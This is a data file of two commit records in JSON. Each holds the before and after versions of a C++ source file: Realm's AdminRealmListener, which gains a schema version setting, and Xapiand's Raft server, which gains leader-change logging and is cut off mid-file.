{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2016 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"admin_realm.hpp\"\n\n#include \"event_loop_dispatcher.hpp\"\n#include \"object_store.hpp\"\n#include \"results.hpp\"\n#include \"object_schema.hpp\"\n\n#include \"sync\/sync_config.hpp\"\n#include \"sync\/sync_manager.hpp\"\n#include \"sync\/sync_user.hpp\"\n#include \"sync\/sync_session.hpp\"\n\n#include <realm\/util\/file.hpp>\n#include <realm\/util\/scope_exit.hpp>\n#include <realm\/util\/uri.hpp>\n\n#include <stdexcept>\n#include <vector>\n\nusing namespace realm;\nusing namespace realm::_impl;\n\nnamespace {\nsync::ObjectID id_for_row(Group& group, RowExpr row)\n{\n    return sync::object_id_for_row(group, *row.get_table(), row.get_index());\n}\n} \/\/ anonymous namespace\n\nAdminRealmListener::AdminRealmListener(std::string local_root_dir, SyncConfig sync_config_template)\n: m_local_root_dir(std::move(local_root_dir))\n, m_sync_config_template(std::move(sync_config_template))\n{\n    m_config.cache = false;\n    m_config.path = util::File::resolve(\"realms.realm\", m_local_root_dir);\n    \/\/ We explicitly set the schema to avoid a race condition where the Admin Realm may\n    \/\/ have been created but its schema may not have been uploaded to the server yet.\n    m_config.schema_mode = SchemaMode::Additive;\n    m_config.schema = Schema{\n        {\"RealmFile\", {\n            Property{\"path\", PropertyType::String, Property::IsPrimary{true}},\n        }},\n    };\n    m_config.sync_config = std::make_shared<SyncConfig>(m_sync_config_template);\n    m_config.sync_config->reference_realm_url += \"\/__admin\";\n}\n\nvoid AdminRealmListener::start()\n{\n    if (m_download_session) {\n        \/\/ If we're already downloading the Realm, don't need to do anything\n        return;\n    }\n\n    if (auto realm = m_results.get_realm()) {\n        \/\/ If we've finished downloading the Realm, just re-report all the files listed in it\n        auto& group = realm->read_group();\n        auto& table = *ObjectStore::table_for_object_type(group, \"RealmFile\");\n        size_t path_col_ndx = table.get_column_index(\"path\");\n\n        for (size_t i = 0, size = table.size(); i < size; ++i)\n            register_realm(id_for_row(group, table[i]), table.get_string(path_col_ndx, i));\n        return;\n    }\n\n    std::weak_ptr<AdminRealmListener> weak_self = shared_from_this();\n\n    m_config.sync_config->error_handler = EventLoopDispatcher<void(std::shared_ptr<SyncSession>, SyncError)>([weak_self, this](std::shared_ptr<SyncSession>, SyncError e) {\n        auto self = weak_self.lock();\n        if (!self)\n            return;\n        error(std::make_exception_ptr(std::system_error(e.error_code)));\n        m_download_session.reset();\n    });\n\n    EventLoopDispatcher<void(std::error_code)> download_callback([weak_self, this](std::error_code ec) {\n        auto self = weak_self.lock();\n        if (!self)\n            return;\n\n        auto cleanup = util::make_scope_exit([&]() noexcept { m_download_session.reset(); });\n        if (ec) {\n            if (ec == util::error::operation_aborted)\n                return;\n            error(std::make_exception_ptr(std::system_error(ec)));\n            return;\n        }\n        download_complete();\n\n        auto realm = Realm::get_shared_realm(m_config);\n        m_results = Results(realm, *ObjectStore::table_for_object_type(realm->read_group(), \"RealmFile\")).sort({{\"path\", true}});\n\n        struct Handler {\n            bool initial_sent = false;\n            std::weak_ptr<AdminRealmListener> weak_self;\n            Handler(std::weak_ptr<AdminRealmListener> weak_self) : weak_self(std::move(weak_self)) { }\n\n            void before(CollectionChangeSet const& c)\n            {\n                if (c.deletions.empty())\n                    return;\n                auto self = weak_self.lock();\n                if (!self)\n                    return;\n\n                auto& group = self->m_results.get_realm()->read_group();\n                size_t path_col_ndx = self->m_results.get(0).get_column_index(\"path\");\n                for (auto i : c.deletions.as_indexes()) {\n                    auto row = self->m_results.get(i);\n                    self->unregister_realm(id_for_row(group, row), row.get_string(path_col_ndx));\n                }\n            }\n\n            void after(CollectionChangeSet const& c)\n            {\n                if (c.insertions.empty() && initial_sent)\n                    return;\n\n                auto self = weak_self.lock();\n                if (!self)\n                    return;\n                if (self->m_results.size() == 0)\n                    return;\n\n                auto& group = self->m_results.get_realm()->read_group();\n                size_t path_col_ndx = self->m_results.get(0).get_column_index(\"path\");\n\n                if (!initial_sent) {\n                    for (size_t i = 0, size = self->m_results.size(); i < size; ++i) {\n                        auto row = self->m_results.get(i);\n                        self->register_realm(id_for_row(group, row), row.get_string(path_col_ndx));\n                    }\n                    initial_sent = true;\n                }\n                else {\n                    for (auto i : c.insertions.as_indexes()) {\n                        auto row = self->m_results.get(i);\n                        self->register_realm(id_for_row(group, row), row.get_string(path_col_ndx));\n                    }\n                }\n            }\n\n            void error(std::exception_ptr e)\n            {\n                if (auto self = weak_self.lock())\n                    self->error(e);\n            }\n        };\n        m_notification_token = m_results.add_notification_callback(Handler(std::move(weak_self)));\n    });\n    m_download_session = SyncManager::shared().get_session(m_config.path, *m_config.sync_config);\n    bool result = m_download_session->wait_for_download_completion(std::move(download_callback));\n    REALM_ASSERT_RELEASE(result);\n}\n\nRealm::Config AdminRealmListener::get_config(StringData virtual_path, StringData id) const {\n    Realm::Config config;\n\n    std::string file_path = m_local_root_dir + \"\/realms\" + virtual_path.data();\n    if (id) {\n        file_path += std::string(\"\/\") + id.data();\n    }\n    file_path += + \".realm\";\n    for (size_t pos = m_local_root_dir.size(); pos != file_path.npos; pos = file_path.find('\/', pos + 1)) {\n        file_path[pos] = '\\0';\n        util::try_make_dir(file_path);\n        file_path[pos] = '\/';\n    }\n\n    config.path = std::move(file_path);\n    config.sync_config = std::make_unique<SyncConfig>(m_sync_config_template);\n    config.sync_config->reference_realm_url += virtual_path.data();\n    config.schema_mode = SchemaMode::Additive;\n    config.cache = false;\n    config.automatic_change_notifications = false;\n    return config;\n}\n<commit_msg>Supply schema version to the GN (#478)<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2016 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"admin_realm.hpp\"\n\n#include \"event_loop_dispatcher.hpp\"\n#include \"object_store.hpp\"\n#include \"results.hpp\"\n#include \"object_schema.hpp\"\n\n#include \"sync\/sync_config.hpp\"\n#include \"sync\/sync_manager.hpp\"\n#include \"sync\/sync_user.hpp\"\n#include \"sync\/sync_session.hpp\"\n\n#include <realm\/util\/file.hpp>\n#include <realm\/util\/scope_exit.hpp>\n#include <realm\/util\/uri.hpp>\n\n#include <stdexcept>\n#include <vector>\n\nusing namespace realm;\nusing namespace realm::_impl;\n\nnamespace {\nsync::ObjectID id_for_row(Group& group, RowExpr row)\n{\n    return sync::object_id_for_row(group, *row.get_table(), row.get_index());\n}\n} \/\/ anonymous namespace\n\nAdminRealmListener::AdminRealmListener(std::string local_root_dir, SyncConfig sync_config_template)\n: m_local_root_dir(std::move(local_root_dir))\n, m_sync_config_template(std::move(sync_config_template))\n{\n    m_config.cache = false;\n    m_config.path = util::File::resolve(\"realms.realm\", m_local_root_dir);\n    \/\/ We explicitly set the schema to avoid a race condition where the Admin Realm may\n    \/\/ have been created but its schema may not have been uploaded to the server yet.\n    m_config.schema_mode = SchemaMode::Additive;\n    m_config.schema = Schema{\n        {\"RealmFile\", {\n            Property{\"path\", PropertyType::String, Property::IsPrimary{true}},\n        }},\n    };\n    m_config.schema_version = 0;\n    m_config.sync_config = std::make_shared<SyncConfig>(m_sync_config_template);\n    m_config.sync_config->reference_realm_url += \"\/__admin\";\n}\n\nvoid AdminRealmListener::start()\n{\n    if (m_download_session) {\n        \/\/ If we're already downloading the Realm, don't need to do anything\n        return;\n    }\n\n    if (auto realm = m_results.get_realm()) {\n        \/\/ If we've finished downloading the Realm, just re-report all the files listed in it\n        auto& group = realm->read_group();\n        auto& table = *ObjectStore::table_for_object_type(group, \"RealmFile\");\n        size_t path_col_ndx = table.get_column_index(\"path\");\n\n        for (size_t i = 0, size = table.size(); i < size; ++i)\n            register_realm(id_for_row(group, table[i]), table.get_string(path_col_ndx, i));\n        return;\n    }\n\n    std::weak_ptr<AdminRealmListener> weak_self = shared_from_this();\n\n    m_config.sync_config->error_handler = EventLoopDispatcher<void(std::shared_ptr<SyncSession>, SyncError)>([weak_self, this](std::shared_ptr<SyncSession>, SyncError e) {\n        auto self = weak_self.lock();\n        if (!self)\n            return;\n        error(std::make_exception_ptr(std::system_error(e.error_code)));\n        m_download_session.reset();\n    });\n\n    EventLoopDispatcher<void(std::error_code)> download_callback([weak_self, this](std::error_code ec) {\n        auto self = weak_self.lock();\n        if (!self)\n            return;\n\n        auto cleanup = util::make_scope_exit([&]() noexcept { m_download_session.reset(); });\n        if (ec) {\n            if (ec == util::error::operation_aborted)\n                return;\n            error(std::make_exception_ptr(std::system_error(ec)));\n            return;\n        }\n        download_complete();\n\n        auto realm = Realm::get_shared_realm(m_config);\n        m_results = Results(realm, *ObjectStore::table_for_object_type(realm->read_group(), \"RealmFile\")).sort({{\"path\", true}});\n\n        struct Handler {\n            bool initial_sent = false;\n            std::weak_ptr<AdminRealmListener> weak_self;\n            Handler(std::weak_ptr<AdminRealmListener> weak_self) : weak_self(std::move(weak_self)) { }\n\n            void before(CollectionChangeSet const& c)\n            {\n                if (c.deletions.empty())\n                    return;\n                auto self = weak_self.lock();\n                if (!self)\n                    return;\n\n                auto& group = self->m_results.get_realm()->read_group();\n                size_t path_col_ndx = self->m_results.get(0).get_column_index(\"path\");\n                for (auto i : c.deletions.as_indexes()) {\n                    auto row = self->m_results.get(i);\n                    self->unregister_realm(id_for_row(group, row), row.get_string(path_col_ndx));\n                }\n            }\n\n            void after(CollectionChangeSet const& c)\n            {\n                if (c.insertions.empty() && initial_sent)\n                    return;\n\n                auto self = weak_self.lock();\n                if (!self)\n                    return;\n                if (self->m_results.size() == 0)\n                    return;\n\n                auto& group = self->m_results.get_realm()->read_group();\n                size_t path_col_ndx = self->m_results.get(0).get_column_index(\"path\");\n\n                if (!initial_sent) {\n                    for (size_t i = 0, size = self->m_results.size(); i < size; ++i) {\n                        auto row = self->m_results.get(i);\n                        self->register_realm(id_for_row(group, row), row.get_string(path_col_ndx));\n                    }\n                    initial_sent = true;\n                }\n                else {\n                    for (auto i : c.insertions.as_indexes()) {\n                        auto row = self->m_results.get(i);\n                        self->register_realm(id_for_row(group, row), row.get_string(path_col_ndx));\n                    }\n                }\n            }\n\n            void error(std::exception_ptr e)\n            {\n                if (auto self = weak_self.lock())\n                    self->error(e);\n            }\n        };\n        m_notification_token = m_results.add_notification_callback(Handler(std::move(weak_self)));\n    });\n    m_download_session = SyncManager::shared().get_session(m_config.path, *m_config.sync_config);\n    bool result = m_download_session->wait_for_download_completion(std::move(download_callback));\n    REALM_ASSERT_RELEASE(result);\n}\n\nRealm::Config AdminRealmListener::get_config(StringData virtual_path, StringData id) const {\n    Realm::Config config;\n\n    std::string file_path = m_local_root_dir + \"\/realms\" + virtual_path.data();\n    if (id) {\n        file_path += std::string(\"\/\") + id.data();\n    }\n    file_path += + \".realm\";\n    for (size_t pos = m_local_root_dir.size(); pos != file_path.npos; pos = file_path.find('\/', pos + 1)) {\n        file_path[pos] = '\\0';\n        util::try_make_dir(file_path);\n        file_path[pos] = '\/';\n    }\n\n    config.path = std::move(file_path);\n    config.sync_config = std::make_unique<SyncConfig>(m_sync_config_template);\n    config.sync_config->reference_realm_url += virtual_path.data();\n    config.schema_mode = SchemaMode::Additive;\n    config.cache = false;\n    config.automatic_change_notifications = false;\n    return config;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"server_raft.h\"\n\n#ifdef XAPIAND_CLUSTERING\n\n#include \"server.h\"\n\n#include <assert.h>\n\n\ntypedef void (RaftServer::* dispatch_func)(const std::string &);\n\n\nRaftServer::RaftServer(const std::shared_ptr<XapiandServer>& server_, ev::loop_ref *loop_, const std::shared_ptr<Raft> &raft_)\n\t: BaseServer(server_, loop_, raft_->sock),\n\traft(raft_)\n{\n\t\/\/ accept event actually started in BaseServer::BaseServer\n\tL_EV(this, \"Start raft's server accept event (sock=%d)\", raft->sock);\n\n\tL_OBJ(this, \"CREATED RAFT SERVER!\");\n}\n\n\nRaftServer::~RaftServer()\n{\n\tL_OBJ(this, \"DELETED RAFT SERVER!\");\n}\n\n\nvoid\nRaftServer::raft_server(Raft::Message type, const std::string &message)\n{\n\tstatic const dispatch_func dispatch[] = {\n\t\t&RaftServer::heartbeat_leader,\n\t\t&RaftServer::request_vote,\n\t\t&RaftServer::response_vote,\n\t\t&RaftServer::leader,\n\t\t&RaftServer::request_data,\n\t\t&RaftServer::response_data,\n\t\t&RaftServer::reset,\n\t};\n\tif (static_cast<size_t>(type) >= sizeof(dispatch) \/ sizeof(dispatch[0])) {\n\t\tstd::string errmsg(\"Unexpected message type \");\n\t\terrmsg += std::to_string(toUType(type));\n\t\tthrow Xapian::InvalidArgumentError(errmsg);\n\t}\n\t(this->*(dispatch[static_cast<int>(type)]))(message);\n}\n\n\nvoid RaftServer::request_vote(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tstd::string str_remote_term;\n\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\treturn;\n\t}\n\n\tuint64_t remote_term = std::stoull(str_remote_term);\n\n\tL_RAFT(this, \"remote_term: %llu  local_term: %llu\", remote_term, raft->term);\n\n\tif (remote_term > raft->term) {\n\t\tif (raft->state == Raft::State::LEADER && remote_node != local_node) {\n\t\t\tL_ERR(this, \"ERROR: Node %s (with highest term) does not receive this node as a leader. Therefore, this node will reset!\", remote_node.name.c_str());\n\t\t\traft->reset();\n\t\t}\n\n\t\traft->votedFor = lower_string(remote_node.name);\n\t\traft->term = remote_term;\n\n\t\tL_RAFT(this, \"It Vote for %s\", raft->votedFor.c_str());\n\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\tserialise_string(\"1\") + serialise_string(str_remote_term));\n\t} else {\n\t\tif (raft->state == Raft::State::LEADER && remote_node != local_node) {\n\t\t\tL_ERR(this, \"ERROR: Remote node %s does not recognize this node (with highest term) as a leader. Therefore, remote node will reset!\", remote_node.name.c_str());\n\t\t\traft->send_message(Raft::Message::RESET, remote_node.serialise());\n\t\t\treturn;\n\t\t}\n\n\t\tif (remote_term < raft->term) {\n\t\t\tL_RAFT(this, \"Vote for %s\", raft->votedFor.c_str());\n\t\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\t\tserialise_string(\"0\") + serialise_string(std::to_string(raft->term)));\n\t\t} else if (raft->votedFor.empty()) {\n\t\t\traft->votedFor = lower_string(remote_node.name);\n\t\t\tL_RAFT(this, \"Vote for %s\", raft->votedFor.c_str());\n\t\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\t\tserialise_string(\"1\") + serialise_string(std::to_string(raft->term)));\n\t\t} else {\n\t\t\tL_RAFT(this, \"Vote for %s\", raft->votedFor.c_str());\n\t\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\t\tserialise_string(\"0\") + serialise_string(std::to_string(raft->term)));\n\t\t}\n\t}\n}\n\nvoid RaftServer::response_vote(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (remote_node == local_node && raft->state == Raft::State::CANDIDATE) {\n\t\tstd::string vote;\n\n\t\tif (unserialise_string(vote, &p, p_end) == -1) {\n\t\t\tL_RAFT(this, \"Badly formed message: No proper vote!\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (vote == \"1\") {\n\t\t\t++raft->votes;\n\t\t\tL_RAFT(this, \"Number of servers: %d;  Votos received: %d\", raft->number_servers.load(), raft->votes);\n\t\t\tif (raft->votes > raft->number_servers \/ 2) {\n\t\t\t\tL_RAFT(this, \"It becomes the leader for region: %d\", local_node.region.load());\n\t\t\t\traft->state = Raft::State::LEADER;\n\t\t\t\traft->start_heartbeat();\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\tstd::string str_remote_term;\n\t\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\t\treturn;\n\t\t}\n\t\tuint64_t remote_term = std::stoull(str_remote_term);\n\n\t\tif (raft->term < remote_term) {\n\t\t\traft->term = remote_term;\n\t\t\traft->state = Raft::State::FOLLOWER;\n\t\t\treturn;\n\t\t}\n\t}\n}\n\nvoid RaftServer::heartbeat_leader(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (raft->leader != lower_string(remote_node.name)) {\n\t\tL_RAFT(this, \"Request the raft server's configuration!\");\n\t\traft->send_message(Raft::Message::REQUEST_DATA, local_node.serialise());\n\t}\n\tL_RAFT_PROTO(this, \"Listening %s's heartbeat in timestamp: %f!\", remote_node.name.c_str(), raft->last_activity);\n}\n\nvoid RaftServer::leader(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (raft->state == Raft::State::LEADER) {\n\t\tassert(remote_node == local_node);\n\t\treturn;\n\t}\n\n\tstd::string str_servers;\n\tif (unserialise_string(str_servers, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper number of servers!\");\n\t\treturn;\n\t}\n\traft->number_servers.store(std::stoull(str_servers));\n\n\tstd::string str_remote_term;\n\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\treturn;\n\t}\n\traft->term = std::stoull(str_remote_term);\n\n\traft->leader = lower_string(remote_node.name);\n\traft->state = Raft::State::FOLLOWER;\n}\n\nvoid RaftServer::request_data(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\tif (raft->state == Raft::State::LEADER) {\n\t\tL_DEBUG(this, \"Sending Data!\");\n\t\traft->send_message(Raft::Message::RESPONSE_DATA, local_node.serialise() +\n\t\t\tserialise_string(std::to_string(raft->number_servers)) +\n\t\t\tserialise_string(std::to_string(raft->term)));\n\t}\n}\n\nvoid RaftServer::response_data(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tif (raft->state == Raft::State::LEADER) {\n\t\tL_CRIT(this, \"I'm leader, other responded as leader!\");\n\t\traft->reset();\n\t\treturn;\n\t}\n\n\tL_DEBUG(this, \"Receiving Data!\");\n\n\tstd::string str_servers;\n\tif (unserialise_string(str_servers, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper number of servers!\");\n\t\treturn;\n\t}\n\traft->number_servers.store(std::stoull(str_servers));\n\n\tstd::string str_remote_term;\n\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\treturn;\n\t}\n\traft->term = std::stoull(str_remote_term);\n\n\traft->leader = lower_string(remote_node.name);\n\n\tL_INFO(this, \"Raft: New leader is %s\", raft->leader.c_str());\n}\n\nvoid RaftServer::reset(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\tif (local_node == remote_node) {\n\t\traft->reset();\n\t}\n}\n\n\nvoid\nRaftServer::io_accept_cb(ev::io &watcher, int revents)\n{\n\tL_EV_BEGIN(this, \"RaftServer::io_accept_cb:BEGIN\");\n\tif (EV_ERROR & revents) {\n\t\tL_EV(this, \"ERROR: got invalid raft event (sock=%d): %s\", raft->sock, strerror(errno));\n\t\tL_EV_END(this, \"RaftServer::io_accept_cb:END\");\n\t\treturn;\n\t}\n\n\tassert(raft->sock == watcher.fd || raft->sock == -1);\n\n\tif (revents & EV_READ) {\n\t\ttry {\n\t\t\tstd::string message;\n\t\t\tRaft::Message type = static_cast<Raft::Message>(raft->get_message(message, static_cast<char>(Raft::Message::MAX)));\n\t\t\tif (type != Raft::Message::HEARTBEAT_LEADER) {\n\t\t\t\tL_RAFT(this, \">> get_message(%s)\", Raft::MessageNames[static_cast<int>(type)]);\n\t\t\t}\n\t\t\tL_RAFT_PROTO(this, \"message: '%s'\", repr(message).c_str());\n\n\t\t\traft_server(type, message);\n\t\t} catch (...) {\n\t\t\tL_EV_END(this, \"RaftServer::io_accept_cb:END %lld\", now);\n\t\t\tthrow;\n\t\t}\n\t}\n\n\tL_EV_END(this, \"RaftServer::io_accept_cb:END %lld\", now);\n}\n\n#endif\n<commit_msg>Raft: Log leader changes<commit_after>\/*\n * Copyright (C) 2015 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"server_raft.h\"\n\n#ifdef XAPIAND_CLUSTERING\n\n#include \"server.h\"\n\n#include <assert.h>\n\n\ntypedef void (RaftServer::* dispatch_func)(const std::string &);\n\n\nRaftServer::RaftServer(const std::shared_ptr<XapiandServer>& server_, ev::loop_ref *loop_, const std::shared_ptr<Raft> &raft_)\n\t: BaseServer(server_, loop_, raft_->sock),\n\traft(raft_)\n{\n\t\/\/ accept event actually started in BaseServer::BaseServer\n\tL_EV(this, \"Start raft's server accept event (sock=%d)\", raft->sock);\n\n\tL_OBJ(this, \"CREATED RAFT SERVER!\");\n}\n\n\nRaftServer::~RaftServer()\n{\n\tL_OBJ(this, \"DELETED RAFT SERVER!\");\n}\n\n\nvoid\nRaftServer::raft_server(Raft::Message type, const std::string &message)\n{\n\tstatic const dispatch_func dispatch[] = {\n\t\t&RaftServer::heartbeat_leader,\n\t\t&RaftServer::request_vote,\n\t\t&RaftServer::response_vote,\n\t\t&RaftServer::leader,\n\t\t&RaftServer::request_data,\n\t\t&RaftServer::response_data,\n\t\t&RaftServer::reset,\n\t};\n\tif (static_cast<size_t>(type) >= sizeof(dispatch) \/ sizeof(dispatch[0])) {\n\t\tstd::string errmsg(\"Unexpected message type \");\n\t\terrmsg += std::to_string(toUType(type));\n\t\tthrow Xapian::InvalidArgumentError(errmsg);\n\t}\n\t(this->*(dispatch[static_cast<int>(type)]))(message);\n}\n\n\nvoid RaftServer::request_vote(const std::string& message)\n{\n\tconst char *p = message.data();\n\tconst char *p_end = p + message.size();\n\n\tNode remote_node;\n\tif (remote_node.unserialise(&p, p_end) == -1) {\n\t\tthrow MSG_NetworkError(\"Badly formed message: No proper node!\");\n\t}\n\tif (local_node.region.load() != remote_node.region.load()) {\n\t\treturn;\n\t}\n\n\traft->register_activity();\n\n\tstd::string str_remote_term;\n\tif (unserialise_string(str_remote_term, &p, p_end) == -1) {\n\t\tL_RAFT(this, \"Badly formed message: No proper term!\");\n\t\treturn;\n\t}\n\n\tuint64_t remote_term = std::stoull(str_remote_term);\n\n\tL_RAFT(this, \"remote_term: %llu  local_term: %llu\", remote_term, raft->term);\n\n\tif (remote_term > raft->term) {\n\t\tif (raft->state == Raft::State::LEADER && remote_node != local_node) {\n\t\t\tL_ERR(this, \"ERROR: Node %s (with highest term) does not receive this node as a leader. Therefore, this node will reset!\", remote_node.name.c_str());\n\t\t\traft->reset();\n\t\t}\n\n\t\traft->votedFor = lower_string(remote_node.name);\n\t\traft->term = remote_term;\n\n\t\tL_RAFT(this, \"It Vote for %s\", raft->votedFor.c_str());\n\t\traft->send_message(Raft::Message::RESPONSE_VOTE, remote_node.serialise() +\n\t\t\tserialise_string(\"1\") + serialise_string(str_remote_term));\n\t} else {\n\t\tif (raft->state == Raft::State::LEADER && remote_node != local_node) {\n\t\t\tL_ERR(this, \"ERROR: Remote node %s does not recognize this node (with highest term) as a leader. Therefore, remote node will reset!\", remote_node.name.c_str());\n\t\t\traft->send_message(Raft::Message::RESET, remote_node.serialise());\n\t\t\treturn;\n\t\t}\n\n\t\tif (remote_term < raft->term) {\n\t\t\tL_RAFT(this, \"Vote for %s\", 